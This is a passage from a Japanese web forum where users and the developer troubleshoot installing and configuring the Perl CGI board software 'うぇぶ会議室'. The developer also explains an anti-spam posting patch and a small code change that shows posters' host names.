＞の様にすると良いでしょう。

以上のように変更することで、無事に表示することが出来ました。

ありがとうございました。

フォロー記事投稿

記事のキャンセル

はじめまして。
ぽちというものです。
先日こちらの会議室を見つけまして、ありがたく使わせてもらうことにしました。
ただ、なにぶんCGIはこれが初めてという初心者なもので、基本的なところで
つまずいて困っています。

すでに会議室本体は、アップロードして書き込みが出来るようになっているのですが、
会議室の名前の変更や、フレームの分割比の変更など、基本的な環境の設定がうまくいきません。
site.plをマニュアル通りに書き替えてアップロードするのですが、その変更が反映されません。
環境設定の変更を有効にするためには、site.plを書き替える他に、何か手順が必要なのでしょうか？
契約しているサーバーが、ＣＧＩとＨＴＭＬを同じフォルダに入れておけないタイプなので、
そのあたりが問題なのかとも思うのですが、今のところ全くのお手上げです。

なにかご助言頂ければ幸いです。
よろしくお願いします。

フォロー記事投稿

記事のキャンセル

9月11日に、ぽちさんは書きました。

＞会議室の名前の変更や、フレームの分割比の変更など、基本的な環境の設定がうまくいきません。
＞site.plをマニュアル通りに書き替えてアップロードするのですが、その変更が反映されません。
＞環境設定の変更を有効にするためには、site.plを書き替える他に、何か手順が必要なのでしょうか？

省略時の値はsite.plの書き換えのみで決まってきます。
会議室の名前などはsite.pl以外で設定する所はありません。

フレームの分割比は一度ユーザカスタマイズをするとCookieに記憶されますから、
省略時の値に戻すには、ユーザカスタマイズで【初期値に戻す】をしなければなりません。
＃ カスタマイズしていなければsite.plの値がそのまま使われますから関係無いですが。

一般的に言って、変更が反映されていない様に見えるのは、ブラウザ(や経路に入っているプロクシサーヴァ)の
キャッシュを見ている場合がほとんどですので、強制リロードするかキャッシュを捨ててから読み直せば良いでしょう。

フォロー記事投稿

記事のキャンセル

9月12日に、にあさんは書きました。

＞一般的に言って、変更が反映されていない様に見えるのは、ブラウザ(や経路に入っているプロクシサーヴァ)の
＞キャッシュを見ている場合がほとんどですので、強制リロードするかキャッシュを捨ててから読み直せば良いでしょう。

アドバイス頂いた通り、キャッシュを削除したら更新内容がきちんと反映されました。
これまでも「再読み込み」は何度も試してたんですが(ー_ー;;
キャッシュって残ってるものなんですね。
どうもありがとうございました！！m(__)m

フォロー記事投稿

記事のキャンセル

教えて下さい。

今まで順調に動作してたんだけど、プロバイダがＣＧＩサーバーを変更したら、
急に動かなくなりました。

以下のエラーメッセージが出ます。

システムに致命的エラーが生じました。 原因 ('ファイルが見つかりませ
ん', "spcl/contents")

どういう原因が考えられるでしょうか？

フォロー記事投稿

記事のキャンセル

9月14日に、純さんは書きました。

＞今まで順調に動作してたんだけど、プロバイダがＣＧＩサーバーを変更したら、
＞急に動かなくなりました。

具体的にどのような変更がされたのでしょうか。
その辺の情報があると原因を推測するのに役立つのですが。

＞以下のエラーメッセージが出ます。
＞
＞システムに致命的エラーが生じました。 原因 ('ファイルが見つかりませ
＞ん', "spcl/contents")

上記のエラーメッセージは、
「spclというディレクトリの下にcontentsファイルが見つからない」
という内容ですが、実際には存在してますか？

他にTESTの部屋とかがある場合、その部屋を表示しようとしたときは同じエラーになりますか？

うぇぶ会議室をどのようなディレクトリ構成で設置しましたか？
つまり、cgiスクリプトを置いてあるディレクトリ、記事ファイルが格納されるディレクトリは？
site.plでどのように定義しているか、その内容を示していただけませんか？

＞どういう原因が考えられるでしょうか？

まず、もう少し多くの情報が欲しいですね。(#^_^#)

フォロー記事投稿

記事のキャンセル

はじめまして。
Ninja Search Engine v2.75をダウンロードさせていただいて
これを活用したＨＰを現在製作中です。
NSEのカテゴリー検索に、サブカテゴリーを作りたいんですが、
可能でしょうか？当方はっきり言ってCGIは超初心者でもちろん
UNIXの基礎知識なんかも皆無なのでスクリプトの大幅な改造が
必要なようならちょっと苦しいんですが・・・。
・・・と言うかここにスクリプト改造の質問をしてもよかった
のでしょうか？ダメだったらごめんなさい。

誰か分かる方いらっしゃいましたら、何卒よろしくお願いします。

フォロー記事投稿

記事のキャンセル

9月15日に、hammerさんは書きました。

＞はじめまして。
＞Ninja Search Engine v2.75をダウンロードさせていただいて
＞これを活用したＨＰを現在製作中です。

…以下略。

ご質問の書き込みは、こちらへどうぞ(^o^)

フォロー記事投稿

記事のキャンセル

えっと、部屋の増設ができないのです。（２つ目をつくりたいのです。）

site.plとあとちゃんと増やした部屋のディレクトリーも作ったのですが

うまくうごきません。

contentsに問題があるって言われます。（書式が不正だそうです。）

contentsの１行目ははじめからある部屋のcontentsの１行目をまるまる写しましたが

だめでした。

数字のとこ（次の記事番号のとこを００００１にしました。）も書き直しても

なんかうまくいきません。

どこがまずいのでしょうか・・・。

教えていただければ幸いです。

フォロー記事投稿

記事のキャンセル

9月19日に、よっしぃ。さんは書きました。

＞contentsに問題があるって言われます。（書式が不正だそうです。）

＞contentsの１行目ははじめからある部屋のcontentsの１行目をまるまる写しましたがだめでした。
＞数字のとこ（次の記事番号のとこを００００１にしました。）も書き直してもなんかうまくいきません。

基本的にはそれで良いのですが...

あと、書式が不正だと言う事は、改行記号が間違っていたり、
行末に余計な文字が残っていたりしませんか?
＃ contents ファイルの転送は ASCII モードでしていますか?

フォロー記事投稿

記事のキャンセル

ありがとうございました。
おかげさまで増設できました。(._.) ペコッ

でもcontentsの中身が改行されないんですけど・・・・
どうしたらいいですか？（＾＾；
さわってこわれたらいやなので・・・・

面倒おかけします。
よろしくおねがいします。

フォロー記事投稿

記事のキャンセル

＃ あれっ? 此の記事フォローして無かったか。
＃ 忙しさにかまけて忘れていたようです。(^^;;

9月22日に、よっしぃ。さんは書きました。

＞でもcontentsの中身が改行されないんですけど・・・・
＞どうしたらいいですか？（＾＾；
＞さわってこわれたらいやなので・・・・

今見たら問題なく動いているようですね。
＃ 既に自己解決していたかな? (^^;;

フォロー記事投稿

記事のキャンセル

こんにちわ。10日ほど前からつかわせてもらってます。cgiを。
いいですね、これ。

さて、ご質問です。非公開会議室を作成するほうほうは無いのでしょうか？
また、その会議室にパスワードをかけたりとかするには、やっぱり
cgiを改造していくしかないのでしょうか？

よろしくお願いいたします。

P.S.　うぇぶ会議室を私なりに改造（アレンジ）して自分のところに置きましたが、
　　　いいですよね？(^^;

フォロー記事投稿

記事のキャンセル

9月19日に、kobyさんは書きました。

＞さて、ご質問です。非公開会議室を作成するほうほうは無いのでしょうか？
＞また、その会議室にパスワードをかけたりとかするには、やっぱり
＞cgiを改造していくしかないのでしょうか？

会議室丸ごと非公開にしてパスワードをかけるのなら、単純にサーヴァの
アクセス制限機構 (.htaccessに設定するもの) を会議室ディレクトリに
設定するのがよろしいのでは?
＃ kobyさんとこのサーヴァはApacheですよね?

＞P.S.　うぇぶ会議室を私なりに改造（アレンジ）して自分のところに置きましたが、
＞　　　いいですよね？(^^;

ええ、どんどん改造してやってください。(^^)

フォロー記事投稿

記事のキャンセル

私も少し前からセットアップに成功して使わせてもらっています。

会議室全体にパスワードをかけると幾つの掲示板を複数設置する必要があります。

グループに分けて必要なところをそのグループに所属しているメンバーだけが見るようにしたいですが。
出来ればの話ですが、会議室内のパスワードはあれば複数の会議に参加する人には記事を一括して管理できるので便利だと思います。

ところで、記事が投稿されると管理者にメールを送ってくれる機能はないでしょうか。
複数の会議室を運営するとき、すぐに対処できる場合あれば便利だと思っています。
失礼致しました。

フォロー記事投稿

記事のキャンセル

9月20日に、hdleeさんは書きました。

＞会議室全体にパスワードをかけると幾つの掲示板を複数設置する必要があります。
＞グループに分けて必要なところをそのグループに所属しているメンバーだけが見るようにしたいですが。
＞出来ればの話ですが、会議室内のパスワードはあれば複数の会議に参加する人には記事を一括して管理できるので便利だと思います。

ええ、これが出来ると便利でしょうね。と言うことで、次版の改良予定のひとつに
入っていたのですが、現在次版の開発が思いきり滞っている最中でして。(^^ゞ

＃ 暇は出来る物じゃなくて、作る物なのだなぁ、と切実に感じる今日この頃。(^^;;

＞ところで、記事が投稿されると管理者にメールを送ってくれる機能はないでしょうか。
＞複数の会議室を運営するとき、すぐに対処できる場合あれば便利だと思っています。

いくつかの会議室では修正してそのような運用にしているようです。
＃ 配布ヴァージョンはプラットホームが限定できないので、メールとのリンクは
＃ チョット億劫なんです。(^^;
＃ sendmail とかに限定してしまえば簡単なんですが、汎用を考えると
＃ 自分で SMTP しゃべりたいし...

フォロー記事投稿

記事のキャンセル

9月29日に、にあさんは書きました。
＞ええ、これが出来ると便利でしょうね。と言うことで、次版の改良予定のひとつに
＞入っていたのですが、現在次版の開発が思いきり滞っている最中でして。(^^ゞ

次のバージョン期待します。よろしくお願いします。
＞＞ところで、記事が投稿されると管理者にメールを送ってくれる機能はないでしょうか。
＞＞複数の会議室を運営するとき、すぐに対処できる場合あれば便利だと思っています。
＞
＞いくつかの会議室では修正してそのような運用にしているようです。

もしかしてその機能を公開しているところがあれば教えてもらえないでしょうか。

大変失礼致しました。

フォロー記事投稿

記事のキャンセル

ずいぶん以前になるんですが、会議室への投稿フォームに認証キーを加える事で
不正投稿/多重投稿を防ぐ機構に付いて検討したことがありました。

その後、全然、会議室のヴァージョンが上がっていなかったことから、この機構も新版の
α版に入れただけで、現行版には反映されていなかったのですが、最近、ある会議室が
荒らしの被害にあって相当滅茶苦茶にされたと言う事故が起こったことから、急遽、
現行バージョンにも反映させることになりました。

＃ 12月の初めにTestの部屋で動作チェックしていたので、分かったと思いますが
＃ ぱーまぁさんの所です。1日の平均投稿数が50本ぐらいある所なので、
＃ 大事だったようです。
＃＃ いつもなら巡回ルートにあるのですが、ちょうど忙しい時期で、ろくに会議室
＃＃ 巡回が出来ていなかったので、現場は見られませんでした。(^^;;

最新β版及びパッチのペーヂからarticle.cgiとforum.plの現行版へのパッチを当てると
不正投稿/多重投稿排除機構が使えるようになります。

ただし、以前の版との後方互換性を保つ意味から、単にスクリプトを更新しただけでは
排除機構は有効になっていませんので、利用する場合は設定が必要になります。


・不正投稿防止機構設定法

不正投稿防止機構とは、投稿フォーム毎に異なった偽造困難な認証キーを与えることで
手順に基づいた投稿動作以外の投稿を排除する物です。

新たにsecure.cgiと言う名前のファイルをCGIディレクトリに作って、内容を、

$forum'master_passwd = 'xxxxxxxxxxxxx'; # ここは任意の13文字のキーワード
1;

として下さい。

$forum'master_passwd は本来は名前の通り(暗号化された)マスターパスワードを
登録する変数ですが、現在の所認証キーの種にしか使っていませんので、取りあえずは
13文字(以上)の文字列なら何でも良いです。
＃ 自分の平文パスワードなんかは書かないで下さいね。(^^;;;

secure.cgiには読み込み権限は付けるけど、実行権限は『付けないで』下さい。
こうしておくと、ネット上から読んでも内容は分かりません。
要はネットからsecure.cgiを読んだ時、内容が表示されないような設定なら良いです。

サーヴァがSetUIDモードで動いているなら、自分の読み込み権限を残して、
他人の読み込み権限を落としておいて下さい。こうしておくと同じサーヴァの
他の人からも読めません。

master_passwdはネット上を流れる情報からは逆演算できませんがmaster_passwdが
知られてしまうと意味が無いので、管理には気を付けて下さい。
＃ まあ、知られたらすぐに変えれば済むと言えばそうなのですが。(^^;

投稿フォームのソースを眺めると、NAME="authkey"なINPUTが増えているのが
分かると思います。

＃ hidden属性なので表立っては見えませんが。
＃ 最後の方に入れておいたので、記事のしっぽ切れ検出にも役立つと思います。


・多重投稿防止機構設定法

サーヴァでデータベース機構(DBM)がサポートされている場合には、不正投稿防止機構に
加えて多重投稿防止機構を導入することが出来ます。

まず正常に不正投稿防止機構が働いているのを確認して下さい。
その後、site.plに、新たに、

$use_dbm = 1;

と言う行を加えて下さい。

これによって、不正投稿防止機構に使われた認証キーをデータベースファイルに貯め、
多重投稿を検知する事が出来るようになります。投稿フォームを認証キー丸ごと
コピーして掲示板に張り付けると言った荒らし手法でも、2本目以降は多重投稿として
排除することが出来ます。荒らしに限らず、投稿ボタンを複数回押してしまって
多重投稿になることも防げます。

＃ 一般的には、ミスによる多重投稿を防げる事の方が利用価値があると思います。(^^;

データベースファイル(auth_dbm.*)は部屋毎に貯めていきます。
容量が大きくなりすぎる様なら、定期的に消してしまっても、まあ、良いです。
無ければ次の投稿の時に勝手に作ります。
＃ もちろん消した分の投稿排除は効かなくなりますが。(^^;

いかがでしょうか?

何か、アルゴリズム等、問題があるようでしたらお知らせ下さい。(^^)

フォロー記事投稿

記事のキャンセル

12月23日に、にあさんは書きました。

＞ずいぶん以前になるんですが、会議室への投稿フォームに認証キーを加える事で
＞不正投稿/多重投稿を防ぐ機構に付いて検討したことがありました。

＃元記事をみると２年も経っていますね。(^^;;

＞＃ 12月の初めにTestの部屋で動作チェックしていたので、分かったと思いますが
＞＃ ぱーまぁさんの所です。1日の平均投稿数が50本ぐらいある所なので、
＞＃ 大事だったようです。

そういうことだったのですね。


で、早速テスト環境に入れて試してみましたところ両方ともちゃんと機能しました。
　OS       :FreeBSD 3.3-RELEASE
　WEBServer:Apache/1.3.9

＞データベースファイル(auth_dbm.*)は部屋毎に貯めていきます。
＞容量が大きくなりすぎる様なら、定期的に消してしまっても、まあ、良いです。

データベースファイルのパーミッションですが、
'606'固定だとSetUIDモードで動いていないサーバでhttpdのユーザ(cgiの実行ユーザ)と
一般ユーザのグループが一緒の環境で、そのファイルを消すことができなくなる場合が出てきませんか。
＃昔あった「消せないファイル達」と同様の原因かな。

＃＃うちの環境ではなぜか604で作成されてしまいました。
＃＃-rw----r--   1 nobody  users  16384 Dec 24 14:14 auth_dbm.db
＃＃
＃＃１件投稿時も２件投稿後もサイズは16KBだし。

あと、データベースファイルにため込む認証キーの最大件数を設定しておけると
データベースファイルのサイズが放って置いても無制限に大きくならずによいかなと思います。

以上です。

フォロー記事投稿

記事のキャンセル

12月24日に、ＴＡＤさんは書きました。

＞＃元記事をみると２年も経っていますね。(^^;;

うぐぅ、全然アップデイト無かったですからね... (^^;

＞データベースファイルのパーミッションですが、
＞'606'固定だとSetUIDモードで動いていないサーバでhttpdのユーザ(cgiの実行ユーザ)と
＞一般ユーザのグループが一緒の環境で、そのファイルを消すことができなくなる場合が出てきませんか。

消すのはディレクトリの権限で制限するので、この場合は関係なさそうですね。
むしろ問題となりそうなのは、グループが一緒の場合、ユーザに読めなくなるので
バックアップ出来ない事かしら?

＃ もっとも、わざわざ認証データベースまでバックアップすることはしないかな?

＞＃＃うちの環境ではなぜか604で作成されてしまいました。
＞＃＃-rw----r--   1 nobody  users  16384 Dec 24 14:14 auth_dbm.db

あぅ、そうそう、うぇぶ会議室のファイル作成モード設定にはもともと問題があるのを
忘れていました。(^^; つまりスクリプトのどこでもumake()設定をしていないため、
サーヴァが設定したumaskのままファイルを作っていたのでした。

記事ファイルについては、いったん作ってから、chmod()していたので顕在化して
いませんが、dbmファイルはなんていう名前で出来るのか調べるのが面倒だったので
作成時に設定した値のままになっているので、サーヴァのumaskが利いてしまっているのです。

これを避けるには、site.plの中でサーヴァの特性に合わせたumaskを切るのがいいかなぁ
デフォルトは、umask(0000);で、SetUIDなサーヴァなら、umask(0077);に変える、
dbm_open()では0666で作る、ぐらいが良いかなぁ

＞＞データベースファイル(auth_dbm.*)は部屋毎に貯めていきます。
＞＞容量が大きくなりすぎる様なら、定期的に消してしまっても、まあ、良いです。
＞
＞あと、データベースファイルにため込む認証キーの最大件数を設定しておけると
＞データベースファイルのサイズが放って置いても無制限に大きくならずによいかなと思います。

まあ、そうなんですけど、最大件数を制限するとなると、あふれた場合古いほうから
消していかなくてはならず、(時間|容量)コストがかかるんですよね。
それに、標準的な会議室の最大記事数が1000として、1件当り100バイトずつ食ったとしても
100kBに過ぎないので、会議室ごとにためておく分には問題にはなるまい、と踏んだんですが、
実際どのくらい食うかはつかっているデータベースの効率に拠るので、よく分からないです。

＃ そんなに重要物では無いから、容量が厳しいところでは消しても平気だよ、ぐらいの感じかしら。

フォロー記事投稿

記事のキャンセル

はじめまして。
この掲示板のかっこよさ惚れ現在設置しようとしています。
カウンターの方は、うまく設置できたのですが、掲示板がうまく動作しません。
具体的には、index.cgiを実行すると、内部サーバエラーとか言われてしまいます。
各ファイルは、
root
  |-cgi-bin
       |-forum
           |-icons
           |-test
           |-*.cgi
           |-*.pl
           |-*.html
のように、cgi-binの下に全部解凍しました。
そして、site.plは、$forumrootのみを、$forumroot = '/forum';に変更。
これで、とりあえず動作すると思うのですが、うまく動作しません。
$cgiroot等も変更しないといけないのでしょうか？
現在設置しようとしているのは、海外のフリーのところで、virtual avenuという
ところです。

フォロー記事投稿

記事のキャンセル

1月4日に、Hisiさんは書きました。

＞カウンターの方は、うまく設置できたのですが、掲示板がうまく動作しません。
＞具体的には、index.cgiを実行すると、内部サーバエラーとか言われてしまいます。

index.cgiを実行すると普通はまず、３つに分かれたフレームが表示されますが
それが表示されずに'ServerError'が起きると言うことですね。
とすると、その原因はsite.plの設定以前の問題です。

原因はいろいろと考えられます。
１．CGIファイルのパーミッション
２．CGI関連ファイルの修正ミス(行末のセミコロン(;)を消してしまった等)
３．ファイルの転送ミス
４．その他

その辺は問題ないでしょうか。

WEBサーバのエラーログを見ることができれば、原因究明にはそれが一番です。
それが見られない人には、Yasu.Fさんの「Server Errorの原因を調べる」に
書かれているような方法もあります。

フォロー記事投稿

記事のキャンセル

＞WEBサーバのエラーログを見ることができれば、原因究明にはそれが一番です。
＞それが見られない人には、Yasu.Fさんの「Server Errorの原因を調べる」に
＞書かれているような方法もあります。

ここのかかれていた方法で調べてみた結果、site.plの記述を間違えていました。
部屋を設定するところで、カンマを書き忘れていたため、エラーとなっていたみたいです。
その後、いろいろ苦労しましたが、どうにか動くようになりました。
僕的には、cgi-binの下におきたかったのですが、site.plのパスのところをいろいろ設
定しても、部分的にうまく表示されないところがあり、挫折しました。
結局、ルートの下に、作り直して無事動いています。
後は、細かい設定をするだけです。
ありがとうございました。

フォロー記事投稿

記事のキャンセル

以前より、「うぇぶ会議室」の素晴らしさに、是非私のページでも使ってみたいと
思っておりまして、最近再チャレンジしてみたのですが、解凍がうまくできません。

ダウンロードしたのは自己解凍形式のforumset_17cです。
Upしようとしているプロバイダは@Niftyです。
いがらしさんの「うぇぶ会議室設置例」を参考に、/homepageというユーザーディレクトリ
の下に/bbsというディレクトリを作り、forumset.cgiに名前を変更してテキスト形式で
Upしました。パーミッションもディレクトリを777に、forumset.cgiを755にしました。
その後、ブラウザでforumset.cgiを読むのですが、サーバーエラーになってしまいます。
<エラーメッセージ>
このメッセージが表示された場合は、混雑のため負荷が高くなっていることがあります。 
また、ホームページを開設していないか一時的にクローズしている場合があります。

以前の書き込みを全て読み、バイナリ形式をダウンして自分で解凍するのが確実かと試して
みましたが、バイナリファイルは「Compilation error:Unrecognized header string」
とうエラーが出てダウンできません。

八方塞がりの状態で何ともならないのですが、何かアドバイス頂けますでしょうか？

フォロー記事投稿

記事のキャンセル

1月15日に、こだぬきさんは書きました。

＞ダウンロードしたのは自己解凍形式のforumset_17cです。
＞Upしようとしているプロバイダは@Niftyです。
＞いがらしさんの「うぇぶ会議室設置例」を参考に、/homepageというユーザーディレクトリ
＞の下に/bbsというディレクトリを作り、forumset.cgiに名前を変更してテキスト形式で
＞Upしました。パーミッションもディレクトリを777に、forumset.cgiを755にしました。
＞その後、ブラウザでforumset.cgiを読むのですが、サーバーエラーになってしまいます。

kouichi.さんの記事を見ると、CGI実行は hpcgi?.nifty.com の方に
アクセスすることで行なうようですが、そうしていますか?

＃ それとも homepage?.nifty.com の方でもCGI実行が出来るのかしら?
＃ niftyでは、@niftyのCGI設定法を解説したペーヂなどを公開していません?

＞以前の書き込みを全て読み、バイナリ形式をダウンして自分で解凍するのが確実かと試して
＞みましたが、バイナリファイルは「Compilation error:Unrecognized header string」
＞とうエラーが出てダウンできません。

はて、これはチョット意味が良く分からないのですが、このエラーメッセーヂを
返したのはどのプログラムですか? ブラウザですか?

それとも、ダウンロードした後の展開の時の事なら、FAQにある『拡張子の補完不全』が
参考になるかも知れません。

フォロー記事投稿

記事のキャンセル

1月18日に、にあさんは書きました。

# 部分へのフォロー、お許しください。


＞＃ それとも homepage?.nifty.com の方でもCGI実行が出来るのかしら?
＞＃ niftyでは、@niftyのCGI設定法を解説したペーヂなどを公開していません?

ニフティ株式会社で持ち込みscriptの設定に関して説明しているのは、ここです。
→ @nifty:@homepage:自作CGI利用方法

/homepage以下ではscriptの実行は出来ないと思います。
....いま、実験してみました。「サーバーエラー」というニフティ株式会社が用意した
ペーヂが出力されます。

フォロー記事投稿

記事のキャンセル

にあさん、kouichiさん、さっそくのレスを有難うございました。
教えて頂いたところを、じっくりと勉強してみます。
こんな初歩的なところなのに、親切にお答え頂きまして、
本当に有難うございました。
また、少しでも進歩しましたら、ご報告致します。

フォロー記事投稿

記事のキャンセル

@niftyの@homepageにうぇぶ会議室を入れようとしているのですが、最後の最後で
躓いているようです。
発言がディレクトリに格納され、contentsも更新されているのですが、一覧を
表示させようとするとエラーになってしまいます。

@homepageのディレクトリは標準ではこのようになっています。

 ~./
  +---- cgi-bin
  |       + *.cgi , *.pl 
  |
  +---- homepage
          + *.html *.gif などなど....

しかも*.cgi , *.pl 以外は http://homepage?.nifty.com/{username}/... で表示
させて、script類は http://hpcgi?.nifty.com/{username}/... というURLでの
実行になっています。

このような構成のサーバでは動かすことは無理でしょうか?

# timelocal.pl も入っていないし.... -_-;

フォロー記事投稿

記事のキャンセル

1月17日に、kouichi.さんは書きました。

＞発言がディレクトリに格納され、contentsも更新されているのですが、一覧を
＞表示させようとするとエラーになってしまいます。

投稿が正常に済んでいるという事は、設定自体はほとんど良い様ですね。
何というエラーになっていますか? それが分からないことには原因が
分かりませんが、site.plの設定が不十分なのでしょう。

site.pl の設定はどの様にしましたか?

＞@homepageのディレクトリは標準ではこのようになっています。
＞
＞ ~./
＞  +---- cgi-bin
＞  |       + *.cgi , *.pl 
＞  |
＞  +---- homepage
＞          + *.html *.gif などなど....
＞
＞しかも*.cgi , *.pl 以外は http://homepage?.nifty.com/{username}/... で表示
＞させて、script類は http://hpcgi?.nifty.com/{username}/... というURLでの
＞実行になっています。
＞
＞このような構成のサーバでは動かすことは無理でしょうか?

HTMLのサーヴァとCGIのサーヴァが見かけ上異なっていても、内部ではディスク領域を
共有しているような構成なら問題なく動作しますので、多分平気でしょう。

フォロー記事投稿

記事のキャンセル

1月18日に、にあさんは書きました。

＞何というエラーになっていますか? それが分からないことには原因が
＞分かりませんが、site.plの設定が不十分なのでしょう。
＞site.pl の設定はどの様にしましたか?

@homepageではエラー画面は全てニフティ株式会社がセットしたエラー画面が
出力されるようになっているので詳細は不明です。
ただ、contents.cgiを単体で呼び出すとBad Forumが出て、引数を与えると
サーバで持っているエラー画面が出るので読み込みの問題だと思っています。

設定している site.pl です。(抜粋)
| 
| # $server_name = 'homepage1.nifty.com';
| # $perl_cgi = 'pl';
| $forumtitle = '夢倶楽部会議室';
| $forumroot = 'http://homepage1.nifty.com/kouichi/yumeclub/forum';
| $cgiroot = '/kouichi/yumeclub';
| $forumpath = "$ENV{'home'}/homepage/yumeclub/forum";
| 

$cgiroot と $forumpath の関係の問題だと思ってはいるのですが、まだ
ハッキリと掴みきっていません。

フォロー記事投稿

記事のキャンセル

1月18日に、kouichi.さんは書きました。

＞@homepageではエラー画面は全てニフティ株式会社がセットしたエラー画面が
＞出力されるようになっているので詳細は不明です。

ああ、なるほど。サーヴァエラーと言うことでしたか。
うぇぶ会議室が出すエラーかと思いました。

＞ただ、contents.cgiを単体で呼び出すとBad Forumが出て、引数を与えると
＞サーバで持っているエラー画面が出るので読み込みの問題だと思っています。

いや、この場合はチョット違います。この前の記事で、
＞＞＞# timelocal.pl も入っていないし.... -_-;
と言うことでしたが、timelocal.plのrequireを単純にコメントにして、
あるいは、削除して、エラーから逃れてはいませんか?
そうしてしまうと、&timelocal()を呼び出している所でサーヴァエラーになります。

つまり、
・キャッシュに以前のCGI出力が残った状態でもう一度そのCGIをアクセスした。(更新時間のチェック時)
・記事がある状態で一覧表示した。(記事の新着状態チェック)
と言った場面でのみサーヴァエラーを引き起こす事になり、site.pl設定のミスと
思いがちですが、実は単なるライブラリ参照不能によるエラーです。

事実、
＞設定している site.pl です。(抜粋)
はHTMLとCGIが異なっている場合のサーヴァ設定として正しい物です。

＃ あと、新たに作った部屋のindex.htmlを入れるのを忘れていますね。
＃ HTMLサーヴァの出す参照エラーはそれが原因です。

以前にも同じ事例があり、その面白いエラー出現タイプのため良く憶えています。

で、エラー解消法ですが、『nifty に頼んでperl付属の純正ライブラリを正常に
入れ直してもらう』と言うのが正攻法で、後々同じサーヴァを使っている人のためにも
成るので良いのですが、時間がかかるでしょうね。
＃ 裏道としてはどこからか探してきて入れてしまうと言うのがありますが....

フォロー記事投稿

記事のキャンセル

1月19日に、にあさんは書きました。

＞と言うことでしたが、timelocal.plのrequireを単純にコメントにして、
＞あるいは、削除して、エラーから逃れてはいませんか?
＞そうしてしまうと、&timelocal()を呼び出している所でサーヴァエラーになります。

あ....ビンゴでございます。forum.plで timelocal.plのrequireをコメントにしていました。

＞で、エラー解消法ですが、『nifty に頼んでperl付属の純正ライブラリを正常に
＞入れ直してもらう』と言うのが正攻法で、後々同じサーヴァを使っている人のためにも
＞成るので良いのですが、時間がかかるでしょうね。

これは無理のようです。
しっかりと @homepageのFAQ にかかれていました。

# ちうわけで裏道を歩いてみます。

フォロー記事投稿

記事のキャンセル

裏道を歩こうとしましたがかなり険しそうっす。
timelocal.pl自体は自分の会社のサーヴァからもってきましたが、
ライブラリ本体をどうしよ。

う〜む....

フォロー記事投稿

記事のキャンセル

1月19日に、私は書きました。

＞timelocal.pl自体は自分の会社のサーヴァからもってきましたが、
＞ライブラリ本体をどうしよ。

使用するライブラリファイル(*.pm)も自分の会社のサーヴァからもってきて
*.cgi , *.pl を置いたディレクトリに lib という名前でディレクトリを掘って
そこへ入れました。
んで、forum.pl に @INC で libのpathを入れてやって...

これで何とか動いているようです。

ちなみに @homepage で2000年01月19日現在導入されているperlは 5.005_02(sun4-solaris)の
ようです。

# 私がいる会社のwebserverは 5.005_03 です。

フォロー記事投稿

記事のキャンセル

はじめまして、しゃおらーといいます。

今日、こちらのうぇぶ会議室をインストールしようとして
アーカイヴファイルをダウンロードしたんですけど、
展開ができないのですが、どうしたらいいのでしょうか？

どなたか、アドバイスを下さい。
お願いいたします。

フォロー記事投稿

記事のキャンセル

1月23日に、しゃおらーさんは書きました。

＞今日、こちらのうぇぶ会議室をインストールしようとして
＞アーカイヴファイルをダウンロードしたんですけど、
＞展開ができないのですが、どうしたらいいのでしょうか？

そう言う時には「簡易記事検索」で過去の記事を探してみましょう。

たとえば、「展開」あるいは「解凍」をキーワードにして探してみるだけでも、
ずいぶんとたくさんの記事が見つかりますので、その中にはきっとしゃおらーさんの
探している答えもあると思いますよ。

＃ 過去の記事検索をうまく使うと、大抵の問題は解決します。
＃ 何しろ、この頃全然スクリプトが更新されていないので、新しい事例がほとんど出ない。(^^;;

フォロー記事投稿

記事のキャンセル

えいゆんと申します。
うぇぶ会議室は、かれこれ２年ほど使わせていただいております。
素晴らしい掲示板の開発を、どうもありがとうございます。m(__)m

さて、最近ですが私の運営している掲示板に掲示板荒らしが
現れまして、その対策に迫られています。
今までは、海外からのproxy対策として、.jp以外からのアクセスを
拒否する事(.htaccessで制御)でやってきたのですが、
最近の掲示板荒らしは、proxyも通さずにやってくるようで
対応に困っているところです。
そこで、非常に厚かましいお願いなのですが、皆様からの
お知恵を拝借できませんでしょうか？

１．うぇぶ会議室で、書き込み中に書き込んだ人のhost名を入れる方法があれば
　　教えていただけませんでしょうか？
２．また、それ以外で効果的に掲示板荒らしを仕掛けがありましたら
　　教えていただけませんでしょうか？

本来ならここに書き込むような内容ではないかもしれませんが
ご存じのかたがいましたら、お教え願います m(__)m

フォロー記事投稿

記事のキャンセル

1月23日に、えいゆんさんは書きました。

＞うぇぶ会議室は、かれこれ２年ほど使わせていただいております。

あ、えーと、実は、ずっとROMしてました。(^^ゞ

＃ rimのY2K対策に伴うサーヴァOS変更に引っかかっているのかな?
＃ それとも以前ここでも起こった使用容量の突然の増大で再開が
＃ 出来ないでいるのかしら? とチョットはらはらしていました。(^^;
＃＃ でも、折角BBS再開しても、BSはこの3月で終わりみたいですね。(T_T)

＞さて、最近ですが私の運営している掲示板に掲示板荒らしが
＞現れまして、その対策に迫られています。

荒らしと一口に言っても色々な物がありますが、どんな行為のことを想定していますか?

＞１．うぇぶ会議室で、書き込み中に書き込んだ人のhost名を入れる方法があれば
＞　　教えていただけませんでしょうか？

単に接続したremote host名を表示して、情報が公開されていると言うことを示して
抑止力にするとか、成りすまし投稿を見破りやすくしたい、と言うことで良いでしょうか?

remote hostに限らずCGIに渡された環境変数を記事中に表示したいという事なら、
article.cgi の中に make_article() と言う関数がありますから、そこの最初に、

sub make_article {
        local($sec, $min, $hour, $mday, $mon, $year);
        local($remote_host) = &http'http_quote($ENV{'REMOTE_HOST'});
        local($user_agent) = &http'http_quote($ENV{'HTTP_USER_AGENT'});

        $link = $ids{'name'};
          .
          .

の様に環境変数を読み込んでおいて、後ろの記事内容を作っているところを、

          .
          .
Subject: $ids{'subject'}<BR>
Date: $date<BR>
Remote-Host: $remote_host<BR>
User-Agent: $user_agent<BR>
$reference<PRE>
          .
          .

の様に変更すれば、Remote-HostとUser-Agentが表示できます。
Remote-Hostはサーヴァによっては名前解決しない場合もあるので、
Remote-Addrの方が良いかも知れないです。

＞２．また、それ以外で効果的に掲示板荒らしを仕掛けがありましたら
＞　　教えていただけませんでしょうか？

最近更新した、不正/多重投稿防止パッチは当てている様ですね。

これは、他掲示板への投稿ボタン張り付けとかオートポストスクリプト等の攻撃に
対処する物ですので、通常の投稿動作をしながら嫌がらせをするような事例には無力ですね。

相手が特定のサイトから来るのであれば、.htaccess ファイルで排除できますが、
大手ISPを利用しての投稿だったりすると、同じISPを使っている人たちを道連れに
する事もできず対処に困るでしょうね。(^^;

＃ うちには荒らしさんは来たことが無いので何とも言えないのですが。(^^;;

